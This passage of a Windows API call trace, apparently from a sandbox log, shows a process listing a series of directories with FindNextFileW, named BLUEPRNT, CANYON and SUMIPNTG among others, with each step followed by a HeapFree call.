	[0086.363] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1
	[0086.363] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.363] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1
	[0086.363] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.363] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1
	[0086.364] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.364] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1
	[0086.364] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.364] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1
	[0086.365] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.366] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1
	[0086.367] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.367] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1
	[0086.368] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.368] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1
	[0086.369] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.369] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1
	[0086.370] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.370] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1
	[0086.371] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.371] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1
	[0086.372] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.372] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1
	[0086.374] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.374] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1
	[0086.374] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.374] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1
	[0086.375] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.375] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1
	[0086.376] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.376] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1
	[0086.378] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.378] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1
	[0086.379] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.379] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1
	[0086.379] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.379] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1
	[0086.381] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.381] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1
	[0086.381] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.382] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1
	[0086.383] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.383] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1
	[0086.385] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.385] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1
	[0086.386] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.386] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1
	[0086.388] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.388] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1
	[0086.388] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.388] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1
	[0086.389] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.389] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1
	[0086.390] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.390] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1
	[0086.392] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.392] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1
	[0086.393] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.393] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1
	[0086.394] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.394] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1
	[0086.395] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.395] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1
	[0086.397] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.397] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c609b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1
	[0086.398] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.398] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SONORA", cAlternateFileName="")) returned 1
	[0086.399] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.399] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1
	[0086.400] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.400] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x28551719, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28551719, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1
	[0086.401] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.401] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1
	[0086.403] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.403] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27cace65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1
	[0086.404] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
